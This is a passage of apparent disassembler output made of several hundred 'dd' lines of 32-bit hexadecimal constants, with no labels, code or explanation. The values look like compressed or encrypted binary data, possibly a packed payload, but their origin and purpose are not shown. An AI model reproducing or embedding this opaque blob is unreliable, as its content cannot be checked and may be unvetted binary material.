		dd 0C0A0C999h, 9ABD4B44h, 1FBB4488h, 0EF78C6h, 0D2BF2B7Fh
		dd 590AFED4h, 90D638AFh, 0DFB9FD03h, 0D8439306h, 0DCD949h
		dd 7CCB5F03h, 0ED9B5573h, 0B80130B8h, 0F013D53Fh, 0D460B6D2h
		dd 82610280h, 6DF7364Eh, 0F431B341h, 0F0084ABh,	19BEAFD4h
		dd 1D13959h, 0ECDA6BF0h, 31036E0Ch, 33F3D432h, 0F57CC602h
		dd 0C0CFE91Eh, 0F1724h,	55032234h, 3AA8479Fh, 81A0C509h
		dd 6E286023h, 54E90EB1h, 70204952h, 0C5A527A9h,	0F1C44D00h
		dd 25FF85F2h, 0C72302E4h, 155A13C9h, 1426B880h,	0B0770BADh
		dd 21E12705h, 0CB0095BAh, 0C918D819h, 0E7F443h,	0A14B81EDh
		dd 713A44AAh, 2A3CFB1Fh, 2061A5FEh, 42133928h, 0B840F141h
		dd 2722593h, 0F54D3380h, 0B4A00A4Fh, 37E38441h,	0EA2A30B2h
		dd 5748874h, 1126ACA0h,	0C56EE9F6h, 919D0011h, 90F8262h
		dd 9AABC3A7h, 4A4020E2h, 0FE25AFA3h, 6A78003Eh,	1EE1C3Ch
		dd 0F0E4BDF1h, 285B3347h, 8CA13CE0h, 1189DD25h,	46510044h
		dd 98DEFFA6h, 0E661B75Dh, 0C9B26459h, 7B82474h,	1FEB8CBAh
		dd 619E63ECh, 37DF1901h, 550CA55Dh, 0D49F8B40h,	94250524h
		dd 0C04C0E8Dh, 0A2F0F418h, 0B30032EAh, 89302CFDh, 0B8876FF3h
		dd 3F140044h, 7F2F3D81h, 0CE0AF7C0h, 0E9C4E990h, 0A6535100h
		dd 3E700FEFh, 310297F8h, 9E02C996h, 71B810C3h, 0AA016CD0h
		dd 0A9FD50FAh, 3880389Bh, 0A4100EE5h, 700CE66h,	34C3863Ch
		dd 3611292h, 8C22212Fh,	2A8B6993h, 117101F0h, 840D5Ch
		dd 31769D62h, 1E73858Dh, 0B12DC98h, 70805D7Ch, 0EDB57796h
		dd 1E2B6B00h, 5A93A642h, 1CAA00ACh, 27E78DD2h, 0B200F6EFh
		dd 34E96D92h, 8591C5h, 7EE5550h, 0E59CC368h, 92FA48h, 181ADE47h
		dd 3C91BDF2h, 0A480EC98h, 2A5EB344h, 0C200FEB2h, 9E3F7E56h
		dd 0DE2BA1h, 25F4CD97h,	0A31324ECh, 36A2E224h, 0DFEDB00h
		dd 7D60B4AAh, 0CA9F003Eh, 6335230Bh, 8F07BB9Dh,	98B33925h
		dd 11AA5870h, 22B000F6h, 13DD3637h, 0E8E1ACA4h,	1A029C33h
		dd 0CA19BDF0h, 4753E069h, 0AC7013EBh, 31E8F0FEh, 0B895FB00h
		dd 3861DE5Fh, 8FD23DFAh, 60BB7900h, 5CEB6825h, 0C8E7AC3Eh
		dd 4DDA0075h, 0EDEEF3FEh, 96867867h, 0F0230050h, 0DF6E0FB3h
		dd 0BA001D90h, 0EF468007h, 21FD3F3h, 603A3FC0h,	34E04FFBh
		dd 8400F6DFh, 0F8A8E804h, 356CD6Fh, 0CE0CEF74h,	45F358CCh
		dd 46300B88h, 0E2DF1800h, 0B5B9A7BCh, 0DB5001FEh, 0A4D74202h
		dd 7082E092h, 4E583900h, 84C8AE96h, 0A7E10003h,	44AB6EFBh
		dd 0FA000B66h, 0F9FD1CCFh, 5D58F1h, 34CBEC1Bh, 0F5A1428Ch
		dd 54B93E00h, 0BF5FB551h, 72988Bh, 0D7F6F97Bh, 0FBDC4917h
		dd 8ED51100h, 2CB54F8Ah, 26CA00EAh, 1AE97967h, 0FE032B0Bh
		dd 41B62139h, 0AB239145h, 323870h, 0FA53117Bh, 13490472h
		dd 861E39h, 7173F518h, 0D4F1F0h, 98A95F38h, 6F4C8BB6h
		dd 9074400h, 837FB94Ah,	63DB0024h, 943702E4h, 0F022E50h
		dd 0D0F0AA2Ah, 0CEB4C053h, 74A7004Ch, 87EBFD52h, 0F7040DB6h
		dd 9915F3E2h
		dd 717D7C80h, 0E12D0068h, 371CD490h, 0D500C984h, 0AA421A4Bh
		dd 1680BB10h, 0C0CAF860h, 0ED44A064h, 0AE0081F2h, 0BF9B7FFAh
		dd 235C74Dh, 15665239h,	0FC40E4CDh, 28003B1Dh, 3FB531F5h
		dd 32F14FEAh, 0C249CFDCh, 500A4E01h, 0E8E45434h, 8E5D09A0h
		dd 74A0E0DFh, 83026009h, 852CC000h, 968FBA71h, 175C000Bh
		dd 4EFBFA6Ah, 9C010E8Eh, 7D7686EEh, 1260C593h, 7E110069h
		dd 0F1859458h, 1BFA0F39h, 343E951Dh, 64305340h,	0FDA3DEh
		dd 0F3D51A3Ch, 23628A27h, 1B8C802Eh, 3F1C6817h,	7A484540h
		dd 14C227FCh, 8CBB6CA6h, 4DB12400h, 68C6948Ah, 0D966D40Bh
		dd 52F080F2h, 0B0D7FA0Fh, 1E2E1D78h, 4D0D4311h,	6E88301Dh
		dd 0FD1EE880h, 6340F10Bh, 87FEAB17h, 0D9712Ch, 5B78C434h
		dd 21F828ADh, 49F9E214h, 74060998h, 46D0A0CDh, 71981BAh
		dd 7907A435h, 6B281778h, 0E1CD3401h, 0AD0BC0EAh, 0DAD15A01h
		dd 0C7A24A9Ch, 0B6015C3Dh, 60E17359h, 3360609Dh, 4912C505h
		dd 0C401E51Ah, 9214EF87h, 3349130h, 75217B1Fh, 797F153h
		dd 1ABF60EBh, 2913715Ah, 0A8006D78h, 0E80316C4h, 847A53h
		dd 0B8D111F9h, 0EB09FF45h, 0A9968000h, 369EAB66h, 0FD3401A0h
		dd 0A8B77C5Fh, 0F419807Bh, 9744FC65h, 6C9003CFh, 0B4EAFB3Ah
		dd 0F8AD1100h, 9B1816F7h, 89731F30h, 70A60E2Bh,	0C17F403Fh
		dd 6938AADCh, 99BC8E01h, 0D7F7B760h, 1B87460h, 1BED4843h
		dd 3013F911h, 45038F9Ch, 0EA3AE6A4h, 1A6BE826h,	0A433497Eh
		dd 2A61800h, 3DF6887Fh,	9113620Eh, 3917A055h, 48E68FEAh
		dd 0B907B092h, 10DD8AFDh, 2DEF0BE2h, 32C3448h, 0C3881BD1h
		dd 924E9081h, 0B1350009h, 3FC437Bh, 7400BA17h, 9C08AEDDh
		dd 6C2EDD9h, 108D8C86h,	0A1000899h, 94AD4832h, 0AB063Eh
		dd 56709F31h, 20A04284h, 8F29500h, 0FA9EAAF7h, 0BB8107B9h
		dd 70ABDB25h, 671EA112h, 80FE333Ch, 85622E57h, 0E74204h
		dd 79117C0Eh, 2318C776h, 1000EC98h, 81C0CEEFh, 20638Dh
		dd 5539F8DDh, 0E2E4E505h, 80AE023Bh, 17C65D2h, 7CB72574h
		dd 7A77005Eh, 9D31720Bh, 6B3BEBA4h, 8DC5808Fh, 0E199E73Fh
		dd 51AE007Bh, 3DEF610Ch, 0BE1EE382h, 92C0EB90h,	0E222E069h
		dd 36230B48h, 6A0216FDh, 38F08A0Ch, 0F27F5500h,	97D8CE3Ch
		dd 35980EC9h, 0CF6FECD2h, 0AB61C1C0h, 205C1EF7h, 976F1E23h
		dd 185FDEFBh, 4CC18C83h, 5070EB65h, 780F48h, 8434224Bh
		dd 1133FD8Bh, 1AF0CF00h, 0E588A471h, 7F540F5Eh,	0C0C7C8B5h
		dd 46B372D6h, 49B094E0h, 0C119CF17h, 77BAC880h,	4428F717h
		dd 2D221C03h, 5FF0D624h, 4401048Ch, 0D470FC9Dh,	0A8CB2CECh
		dd 900183BFh, 0CEB58D8h, 5F1416h, 3B938D04h, 789AAEC4h
		dd 0A012379h, 74E32A5Ch, 4ECC5967h, 0FC1C0032h,	504635A1h
		dd 2701CB13h, 0B0DC238h, 0A7E03BB4h, 89DF245Ah,	0FC803978h
		dd 0E848F50h, 3300483Ah, 0B3EC418Eh, 25CE2151h,	80A375E7h
		dd 7800832Eh, 4A11EA9Bh, 0D373ACh, 3C131656h, 0EB691C68h
		dd 80D75000h, 4BC0FA34h, 4DFC0063h, 0F78D661Ah,	1F0028F3h
		dd 0DF73EF90h, 25F55F53h, 7C4096E5h, 0F400A821h, 8D72E281h
		dd 729BEE07h, 19EC64h, 909D05C6h, 6386FE82h, 0FDC76600h
		dd 0E87F3FFFh, 0E7809B3h, 444087AFh, 0E00053FBh, 1844691Bh
		dd 0EF42F33h, 2DC6D936h, 0FED234C0h, 0F505E546h, 68113B54h
		dd 0DD6F3490h, 0F477DCh, 2A5FEF8Fh, 0EDAD0E19h,	1A079F2Dh
		dd 4858A4h, 0E20AD12Ah,	0E88AFAF6h, 0CC307700h,	49BAEAC7h
		dd 0DAEC1DC5h, 1800E511h, 0A05BF336h, 0F2CD7806h, 88990Dh
		dd 0B51E514Ah, 0EC3B6170h, 4FD03201h, 0E2D4504Dh, 259886DCh
		dd 0F0271B58h, 0C0A4D014h, 15F469BAh, 8886C40Ch, 0B64478C9h
		dd 50B707B8h, 1420F999h, 0EC8D7727h, 0B60ADE13h, 65B000AEh
		dd 92757490h, 571B0D04h, 0E8C0ADD6h, 48688876h,	0C301359Bh
		dd 0EBB2B370h, 0F6488189h, 3059DD37h, 0FA463C8h, 8620F8FAh
		dd 93872A43h, 0E99BA101h, 1C57EBA5h, 2A352C48h,	1CA0EDD3h
		dd 518A36Bh, 0A0BF5664h, 0F901E87Ch, 0CD20E094h, 0B5E01033h
		dd 2C98003Eh, 9756C170h, 0C8A0C6A1h, 5507F199h,	0BC145489h
		dd 0EB778880h, 0E4E009h, 23E62E5Fh, 9F5985C5h, 6B204B60h
		dd 17012C47h, 0C07929D3h, 223720F0h, 0C010A84Bh, 692300EEh
		dd 4DCA291Eh, 570A000Dh, 5E6CB37h, 6A01F10Ch, 6B8E0843h
		dd 78CA97FDh, 7CF40188h, 0CF1E72DCh, 0E17BE8DAh, 2C8E407h
		dd 23510115h, 0BDE0A3D9h, 8B6903D0h, 7E29EF8h, 138C0FCh
		dd 0DB4A90DCh, 11F0781Dh, 0B56182h, 2DE9FE08h, 0CE72B6DFh
		dd 32B08800h, 8EBC9F50h, 0B3390027h, 0FD217A8Dh, 8C002E56h
		dd 9E4C3A7h, 0E4CA88A0h, 598E0C1h, 7C338EB5h, 0E8D04295h
		dd 0C4A0C8B1h, 823861EBh, 0EE01492h, 1C21FB07h,	1B25091Fh
		dd 7B79D0F0h, 86100FFh,	0C4B16865h, 7B00EAB7h, 1CF96DBh
		dd 143D2C1h, 0C20AE926h, 60562917h, 0ED00A0C4h,	7E9E9D38h
		dd 745966F8h, 0A9786Bh,	0A6E235E4h, 136709BBh, 0C00DCBEh
		dd 0EC0B3381h, 1A1C0C7h, 9EB31492h, 0BA3F4A00h,	0DA61EAD2h
		dd 0C29C015Fh, 7CB82487h, 0F757C49Ah, 0AAEF4700h, 0E155787Ah
		dd 0CBAF0023h, 2EDA267Eh, 1400A3C6h, 828C881Ah,	390761ECh
		dd 773EE5h, 5B0D119Ah, 88564CFh, 27D33107h, 0FAE07ADAh
		dd 0E943FCh, 0ADA7A2AAh, 3F2CA964h, 6752D617h, 1DED3CC0h
		dd 0B3BF801Fh, 10E5D230h, 2F5E495h, 42C07F17h, 0EAE0CA58h
		dd 0BF003161h, 0C395ADE6h, 39148974h, 938063A5h, 5AA30216h
		dd 0A80076D5h, 80B2B14Eh, 7111A7Ah, 1B0E93C9h, 7E4FA5Ch
		dd 0C0F2EF1Ch, 0D78E5DC0h, 3C3FAD01h, 0F61A27E9h, 5FCAE4h
		dd 1F4A4E28h, 0DC8B04A7h, 9B46BA02h, 0E0698ACCh, 0ED01A550h
		dd 171D5DF4h, 1975924h,	0F729E554h, 38B8684Ch, 2E73809Bh
		dd 0B86BEE27h, 8303009Fh, 7F97B2FEh, 7107C1CAh,	3160EB8Ch
		dd 0FF2420C9h, 1D05FEh,	6A0A101Bh, 38EEA3D1h, 0E401B090h
		dd 93751987h, 0FC34C817h, 0DAD24AA8h, 258F0908h, 780820F9h
		dd 50B86677h, 9186A0h, 1E386384h, 1C6C03E6h, 0FD9FC200h
		dd 952D71EFh, 0DBD0004Ah, 0EB3C6270h, 0D100E133h, 71AB84E0h
		dd 1BC6AAh, 0F125992Ah,	8CF978B5h, 100DFE0h, 5F646CFDh
		dd 0FAA1FF14h, 68DE48C1h, 74CD4000h, 0C94F60D6h, 777BA300h
		dd 7503529Ch, 0DB0D006Ch, 7B05DC6h, 422E0F86h, 4602DDEEh
		dd 0E0A64B39h, 55C4C0h,	29768378h, 0FC401743h, 23D9400h
		dd 85C28F18h, 103904FAh, 0C1C460CDh, 34E522F6h,	0CC0209B4h
		dd 0ECC70726h, 0A88A0B8h, 0F6318Dh, 0A3AA68F9h,	0B9D54288h
		dd 5C783702h, 6BFF76FCh, 9357B870h, 0B887075Bh,	0A0461CCCh
		dd 0E8D7FCB3h, 0CFB65428h, 740B3C00h, 1FDF53AFh, 9E802836h
		dd 810500D0h, 0D2B9FB3Dh, 0D89A7327h, 48405216h, 13E1D027h
		dd 99806FA4h, 785C59F9h, 0A0B04820h, 807DD425h,	0D50EEDCh
		dd 0E8580006h, 6BDFA1E9h, 6C1EF7B5h, 7C0C9F9Ch,	17866101h
		dd 13BC9Bh, 5F124120h, 0C400DCD8h, 55AC0219h, 77A4A7h
		dd 73CE0BD1h, 58B4A35Ch, 60FCAB0Bh, 5209000Dh, 4E9B63AFh
		dd 20500090h, 6793EEACh, 0B0B05744h, 4E704F8h, 912715D8h
		dd 44E3A240h, 8B8CD8C8h, 0AFB05305h, 2CC870E2h,	0A1C6055Ah
		dd 0DC5D1006h, 90033320h, 97A2B99Eh, 14D17C7Eh,	90040CF1h
		dd 6A01FC58h, 0FC023C80h
		dd 2B20823Ah, 0EC6C83BEh, 18271564h, 0B8038C4h,	0A24B3BA4h
		dd 78FDCA31h, 0B475799Fh, 0D82090E6h, 25291639h, 0B0EA0196h
		dd 0CE923091h, 20C1B841h, 0F224E3D0h, 912CF8A9h, 679B9700h
		dd 0CA5E081h, 0AE7AA7B6h, 4E00F648h, 6014AF5Fh,	0C0D51104h
		dd 0B32CA461h, 0E330F736h, 691A888Ah, 0E9196347h, 52AEB0A7h
		dd 0CCF64812h, 7382038h, 0FDAED317h, 0A4FE4067h, 0F900294Eh
		dd 0D9723066h, 28F96D1h, 0DEFB3F90h, 0FDC183EBh, 246082ACh
		dd 0E0B73375h, 50BA2304h, 0B688C491h, 0E27450B0h, 4C29B103h
		dd 0E093035Dh, 1F73CA77h, 40AF242Dh, 112FC7D8h,	61028B54h
		dd 9A6E17F4h, 16FC5ECAh, 7CCC0039h, 0A491C089h,	6B103860h
		dd 78C8F4D9h, 3F2009ADh, 420B853h, 0ACD7D235h, 89DA873Eh
		dd 20264884h, 786EA480h, 0C13B2C9Ch, 0E9BF80C8h, 2B193A2h
		dd 0C828C5F4h, 4700908Ah, 0C777DEDBh, 44FC10h, 8D322D75h
		dd 2AC93C0Eh, 3C21223Dh, 0BBD08002h, 0F35250B1h, 6E260029h
		dd 6C4D3C8Ah, 6200BD11h, 8EB2D025h, 1CF7F1h, 8DBBB00Fh
		dd 158493FFh, 1F9CC65Dh, 0FBC0D3A1h, 0F59AEE7Ah, 32E31D47h
		dd 0B694813Ch, 0C6EC4ABBh, 6FBF04E0h, 1CA74200h, 0D1D0FD12h
		dd 9E5C007Ah, 0F26A9F22h, 0A1F0AEE2h, 0D60EAF00h, 10B0F155h
		dd 3DB7B83Ah, 5878B70h,	221D8835h, 0BC807EFFh, 0D09006BDh
		dd 0DA01FC76h, 0A756A43Dh, 0A8413181h, 72EDC4Eh, 0A08F3378h
		dd 7C5D61E9h, 0FFD14F00h, 493BB0CFh, 0A3500A0h,	0BC727813h
		dd 0C20E4802h, 10F22Ch,	6BE708DAh, 59F1008Dh, 0BE054918h
		dd 3D27CBEAh, 484C1Bh, 0BA346C8Ah, 4E32218Fh, 4E0B800h
		dd 2EB960B4h, 1D3AF436h, 75DF640h, 20D8897Ah, 0FD6A9050h
		dd 0E18C4700h, 165638BCh, 0B9D003Ch, 0F28AC1D0h, 510E08A7h
		dd 8024FD8Bh, 0C2E03B72h, 0F3E8F8B8h, 245D98FCh, 800CAB39h
		dd 0FA601B7Eh, 5E1DD3E1h, 911DB4A5h, 80BBD28Bh,	57460EFDh
		dd 722D009Ah, 74FDA9AEh, 9C00BA18h, 0FCC243B7h,	0BC7F5Bh
		dd 13CF7A17h, 0F7F9C7CCh, 83077E00h, 0AA03FC33h, 43FB006Ah
		dd 0C390CEDEh, 2005AB2Ch, 0CA980257h, 0D6D4A4C0h, 0AB91FA8h
		dd 0FE5C4C19h, 0CB005719h, 992BA55Bh, 2C3CF9E8h, 760ADA0h
		dd 0D072D2CEh, 2810925h, 56B7C8A8h, 0A87EEF00h,	0E7535740h
		dd 0E44607F5h, 0FA883677h, 40200BCh, 5F9C69F9h,	6016DCCBh
		dd 165A7770h, 949EEE5h,	4C517682h, 607D820Fh, 0F7BD1DEFh
		dd 9C735962h, 80F1771Eh, 3A6EAA3Ch, 9FBEA4h, 0DBDDFC34h
		dd 64310BE8h, 58A08142h, 0EA5C6DFh, 0A11A9900h,	799251CDh
		dd 33E0305h, 8E49FCB5h,	0FD6F30D7h, 52EEEDDDh, 0DE00809Ah
		dd 3DF39706h, 96118A6h,	1D67517Dh, 0C02B7880h, 0CE04804Ah
		dd 1A06C8BFh, 8627DCD8h, 0CD8D60C9h, 0B500460h,	0E520D04Fh
		dd 865899D7h, 0CC105104h, 8C3204F5h, 20B25112h,	0BB33F751h
		dd 10DC600h, 44E2EF60h,	303B5895h, 54007AA8h, 0E89E0991h
		dd 2797A6B3h, 0D8196C1Eh, 5C15129Dh, 21BC00D8h,	396DACAAh
		dd 84E6B80Fh, 680DAAECh, 0C86652h, 9EB93CF1h, 0F9F7D450h
		dd 140020B1h, 346FB705h, 170EBh, 52732FACh, 0D5E2DDBDh
		dd 0FF4DFB03h, 800413BFh, 0B799583h, 0EE1BA476h, 5496301Ch
		dd 0E91480B9h, 70760FE3h, 0F1343B51h, 6FE4A502h, 4C80641Dh
		dd 43F7A6F4h, 1B00209Ch, 1D3DB7D2h, 0E99C1C79h,	39F540DDh
		dd 316CF462h, 600C7E6h,	10DF5EE3h, 1A10CB2h, 0C36446F8h
		dd 0D002C4DBh, 0A5EED584h, 23A86103h, 0F0373ECAh, 168B2CAAh
		dd 0C583F8h, 702679Bh, 0BB077A73h, 9DB7E360h, 9EA69240h
		dd 33320BDFh, 3C00446Dh, 0DDE1B075h, 21C0A2F6h,	5217772Dh
		dd 14B90938h, 0D380E2BFh, 410C5573h, 8E769600h,	0C7C3A70Eh
		dd 41309AEBh, 0D6204074h, 18269962h, 0A680802Dh, 0FFDD8AFEh
		dd 141F00C2h, 0F3B54B59h, 895AA740h, 3A0E54D1h,	65D2C0h
		dd 0C90A7D4Ch, 70B035F6h, 313E0F00h, 9C1FF4A7h,	6C5B301Ah
		dd 18DD7CBEh, 30596800h, 0AC033F64h, 295C0097h,	3A34104Dh
		dd 0AA0F3284h, 0A6C5939Eh, 11DC08h, 35428554h, 3FDA5BEFh
		dd 0D5D42C1Ch, 0DF1E7C00h, 755577h, 0E892EA48h,	0F87E4CADh
		dd 0DC315800h, 0EAAD5A4h, 5C4679D3h, 261C7C66h,	7A670035h
		dd 0A305A5E6h, 413ABC00h, 1D25DFEBh, 2A29091Ah,	6A002B36h
		dd 0DA43FEECh, 0EA79909h, 0D0280CEh, 39E3AA0h, 0EDE69BF7h
		dd 9FF086C3h, 21FF5BBh,	0E500343Eh, 0B16DE112h,	5342008Ah
		dd 3F8999FDh, 0F002ABDh, 0F9237DC8h, 3EA5B3h, 0CC4F5D9Eh
		dd 26DE1D44h, 8886F602h, 406FA439h, 0B7E655h, 0D42F616Ah
		dd 645F91B5h, 0FCBC650Eh, 28F8E0EDh, 1F9288AFh,	801F53E5h
		dd 4D303756h, 8A7021DBh, 1349700h, 1327B996h, 0F1A03C7h
		dd 0F746814Bh, 5A22EEE0h, 1B34748h, 341B9C42h, 78DCEAFFh
		dd 878900E5h, 5F2E92FCh, 65004CB5h, 2119507Ch, 2C988F86h
		dd 3237A57h, 0A8E9EFDEh, 0BC391598h, 0DD2A2F01h, 2EFD2805h
		dd 3D27F080h, 62A79319h, 7AF05Ch, 76B097C9h, 0ADC5ABh
		dd 0C2919608h, 8F15E7E4h, 0E563E00h, 13C74BBAh,	3B4A3F88h
		dd 0F6ED3C0Fh, 65507D20h, 433903C3h, 8E448036h,	13858CB3h
		dd 6DF600ACh, 0D7E0A086h, 901E5B9Dh, 0BC083ECh,	8B30C780h
		dd 38A501C2h, 0A7105EB2h, 76B3F825h, 8A1E39h, 2E45FDD4h
		dd 9AB0C63h, 361895DCh,	0C0254684h, 4D91DA41h, 0B403E670h
		dd 3CE05576h, 0C0699A47h, 0E79B5C7h, 0D9283A9Dh, 0B2A5B860h
		dd 0CA00082Eh, 0C14A591Bh, 4B6CECh, 141E8E31h, 1C7E51BDh
		dd 0FC3037F4h, 1802883Ah, 0EC8C0084h, 1D63C1E7h, 7A00BA12h
		dd 2C19EE10h, 0EF1A317h, 13909522h, 59F6DBA0h, 0DA06AC0Eh
		dd 0EF4AD671h, 9E680B24h, 0AD046CD7h, 55F8C0E6h, 9D776E96h
		dd 59008AE8h, 39ED764Eh, 0F0CECB0Bh, 84420057h,	0F2012DC4h
		dd 0E0000858h, 5C89135h, 4998F4h, 0D3DFB6BDh, 0E7FF766Ch
		dd 0FCE48107h, 3940881Eh, 0E8F72793h, 0A4740011h, 0DF124405h
		dd 3C00E1D7h, 79FE6D7Ch, 0A1420A97h, 0D4702B90h, 0BC6A0091h
		dd 6D1C4FDDh, 0A700FCEDh, 6B944279h, 97E2ADh, 90B406C1h
		dd 9FAECB89h, 2FCAA800h, 0B2636B1Ch, 0FF2200FEh, 0D9C5EB6h
		dd 0FA072CB5h, 69E50ED2h, 80D70373h, 707271Ah, 786C26A8h
		dd 2A1CF081h, 0A6038448h, 0C6AA775Bh, 6740D86Bh, 8FDF002Ch
		dd 5DE281C7h, 3EE48563h, 1B36D301h, 538CB6E1h, 68A0C4h
		dd 9FA5F370h, 0D16E35Dh, 0F007490h, 6A321105h, 1D5B49BAh
		dd 0C0196878h, 35140A12h, 4B00B865h, 2BF0484Dh,	373405A7h
		dd 0A71AD078h, 219050E9h, 3C3FFCA6h, 0F19E178Bh, 5A00BF16h
		dd 3BE95D3h, 0E7DA3C1Ah, 0C7C9D160h, 5D008991h,	3AFF724Eh
		dd 182142Ah, 24D2D055h,	0F7CCC7F7h, 0BEC42FC8h,	59475805h
		dd 0A9C02B14h, 248F5Fh,	755EC6C3h, 8CDCF441h, 8DC76800h
		dd 7D973848h, 5CA300E5h, 0B07FB116h, 0CA002E86h, 0BA747A77h
		dd 784EF6h, 3AEA1CECh, 0BB91E81Ah, 9F47401Dh, 705D2940h
		dd 377A96h, 5697E3CBh, 0DEF4602h, 4002A47Fh, 332DAF98h
		dd 18C0807Ch, 3A3EBD5Ch, 26007709h, 6F8CC52Bh, 6C264BA8h
		dd 0B01624CBh, 82CBD07h, 0B0FE2983h, 1E41B5Bh, 3758FCAEh
		dd 0FC27C31Dh, 0BFF40399h, 5E0042FEh, 0CF122C0Fh, 71238E66h
		dd 415200C0h, 0C47635FFh, 0CB0291E9h, 0D4752B71h, 0CD246079h
		dd 0D32D3A5Ah, 52B83C80h
		dd 946F19EDh, 171111C3h, 0CD39B8CAh, 9A7500B9h,	6F1546A4h
		dd 30A02D68h, 17390CF3h, 100E8034h, 0EAB55012h,	3D7A7C06h
		dd 76068B9Bh, 11C1819Fh, 0D5413C00h, 4AB8F823h,	0C6C20098h
		dd 5BA3BC6Ch, 0CC03AEB7h, 63B26E39h, 74890FF9h,	1C4082DEh
		dd 6F4079D0h, 0E868F401h, 0A30F4348h, 138B430h,	0F1CE6BA9h
		dd 0C4556A09h, 47005494h, 0B390DE17h, 3367E3Bh,	0C4B1C377h
		dd 7DD07430h, 5A0062D0h, 0D9F9A3F1h, 97BAD8Dh, 3EF8D87Ch
		dd 256CFC80h, 1020E16h,	0B29D3309h, 19F1404Ah, 0F2EC4Bh
		dd 24FDA0E5h, 4278C118h, 5D448700h, 0F5BEA55Bh,	0DF603E3h
		dd 28A6642Eh, 2431F248h, 4400BACEh, 8F88947Dh, 69730B26h
		dd 0AD80D7FAh, 8AB8F91Dh, 2C3E5200h, 54D69C04h,	689A0020h
		dd 0C3992D65h, 757BC28Fh, 2A44AB03h, 0AB245AA2h, 1CBF0FCh
		dd 0AEA2410h, 38E300D4h, 0DEFEE5F5h, 8C8F9D00h,	0E61D5B84h
		dd 9C87135h, 91AFE4F9h,	2AF76480h, 120FF021h, 201F5175h
		dd 2DBC7C25h, 0E8B80752h, 0ACD2C8EDh, 9616641Ch, 0C000F075h
		dd 46848ACEh, 877C002Bh, 180AFFD2h, 0F898ED83h,	92D9701h
		dd 746DE428h, 2224C60h,	0B21E318Ah, 80C046ABh, 0E500512Dh
		dd 5AC8A7F3h, 4CB1A8h, 668C9BC4h, 0A2ABA6E3h, 0DEDAD700h
		dd 0EE543C57h, 0BF780192h, 0F55FB2Ah, 8EC8307Eh, 7D00D090h
		dd 0B583DAAh, 1CDC269h,	80A5EE7h, 0FC87D77Fh, 88741A60h
		dd 0D0808C18h, 0EFEBD90h, 90B5F323h, 0E8CE3660h, 263CC215h
		dd 1978140h, 80867019h,	0BBBF7088h, 54DC00B8h, 7D61A229h
		dd 0FC1F2405h, 0E5C20932h, 0BC4B4800h, 2907FDD2h, 8DCEC7C6h
		dd 0AADE7B60h, 0BF6A004Fh, 34E22740h, 7501103Ah, 0EEF888CDh
		dd 60D49FD1h, 868A00D2h, 2559F4DEh, 76E6E3D9h, 36ADA03h
		dd 80C1268Ch, 0F6FD78h,	0E8EFDB20h, 0F402EC7Bh,	64601D00h
		dd 5FE28B9Ah, 172000F3h, 3178DAABh, 0B0000943h,	32A6A23Eh
		dd 18563906h, 30A3C584h, 1300628Ch, 92866ADBh, 0EE33F8h
		dd 77C267B9h, 8DA36840h, 5E74E000h, 70C973F1h, 225051Fh
		dd 8086062Bh, 664ABB72h, 0E3404200h, 5B399CD3h,	12EC0341h
		dd 3B2E1D21h, 86204ED0h, 7FE3BB03h, 0A8E49482h,	0DE610Dh
		dd 49F3F7E8h, 0C41AA8F0h, 0C18FD407h, 46308E7Bh, 0B8EC566Fh
		dd 792E0031h, 0D0CFC4Eh, 322E1511h, 12002726h, 0B9737255h
		dd 8B029h, 278A7AD4h, 3F60C6ACh, 331CA103h, 8877D3E1h
		dd 1DBEAAFCh, 80294D46h, 0BF1084C4h, 610020B5h,	2BEF658Fh
		dd 377DEF4h, 0F69EC867h, 6EB07FE1h, 4600EEBAh, 0F151DBA0h
		dd 2DE714Eh, 153C364h, 4340FF43h, 1175206Bh, 93E0665Ch
		dd 0E0002616h, 46975A28h, 4092D8h, 0EABFF457h, 6956D7D9h
		dd 0FAA79A00h, 3E7B8E55h, 0D39C051Bh, 0C6B322F4h, 4000D86Fh
		dd 0EA0B466Ch, 1C6642A7h, 4369CDB0h, 1FE1412Bh,	0C31154BFh
		dd 0D09CEA9Ch, 0A097D000h, 0AC802A00h, 2719C05h, 0F0B90086h
		dd 32C2DE38h, 640146C7h, 63330721h, 70F426DCh, 96750037h
		dd 5D9AD744h, 0F4006CF1h, 312BB867h, 7B830DD2h,	583300EEh
		dd 248ED90Eh, 0E8006CAAh, 0C39ABFA5h, 340C63h, 87D4044Bh
		dd 85671B29h, 0C0242A00h, 5EE2D7A9h, 7E6D28ECh,	0BFAA4887h
		dd 0E0542C00h, 0BFA321BDh, 310C5803h, 99374467h, 0C0247B05h
		dd 34D10079h, 0D2034766h, 0A25C179Eh, 0BEAF0028h, 14C5739h
		dd 0EB9803E8h, 0AAD20841h, 5A82C0FCh, 3C00ADACh, 0D502B9E9h
		dd 0BA2EDABh, 0B7C68357h, 6E8BC080h, 32E4A8DFh,	0E84A7900h
		dd 0DB77AEE5h, 1CFE0054h, 4393B0F9h, 2D1D286Ch,	0B41D5A6Dh
		dd 0BEF3AD40h, 16913D8h, 0E4B83ABDh, 36F27B73h,	0E577C494h
		dd 0C086A300h, 0D9E3A8A5h, 4060EEB5h, 9A00E78Ah, 0DAF43CA1h
		dd 7625A31h, 5C6F43CCh,	626200Ah, 0EA0058B3h, 8EAEF8A8h
		dd 1CC5F178h, 92EF3D82h, 4F24C1C7h, 0CC80FE23h,	0A79317D1h
		dd 10C87C16h, 4A2C841h,	0A4642F24h, 37E4D8h, 0DAEB9560h
		dd 1A913BBh, 3D08C748h,	8F90012Ah, 5FAFB9F2h, 58C46021h
		dd 7CF01F54h, 5B88405Eh, 0C371425Ch, 0B2203761h, 0FCD862DFh
		dd 308C9638h, 76B09919h, 828D8E00h, 8133AB2Ah, 14D912DCh
		dd 0F1780475h, 866E4199h, 0EC60F32Ch, 4B4C581Eh, 90E6FF09h
		dd 5376A800h, 784850FDh, 7B230750h, 3487B72Fh, 8D637210h
		dd 0EBAD1639h, 5F1020E7h, 220D4782h, 1643F3BEh,	0E9B0E500h
		dd 9D84302Bh, 50355F48h, 59F6503h, 0A052C270h, 300B80A9h
		dd 8AC0A107h, 0EE7CD981h, 22F38906h, 5CB12F20h,	1A8080FDh
		dd 76110E57h, 886083F2h, 99C6F438h, 42804CE1h, 0DF205800h
		dd 6E79BF93h, 5FD7D60Ah, 0A49CCC34h, 86168568h,	68070208h
		dd 6444A6Dh, 2EF090A4h,	80C0AFE0h, 0AE6759CAh, 6C1226A7h
		dd 0AC007D2Dh, 0C1212E7Bh, 0CEE4641Fh, 200EA01h, 0A6F14DB9h
		dd 21FF0178h, 0BEE52CBAh, 0C2F0CC91h, 0EAE89A03h, 0B09963FDh
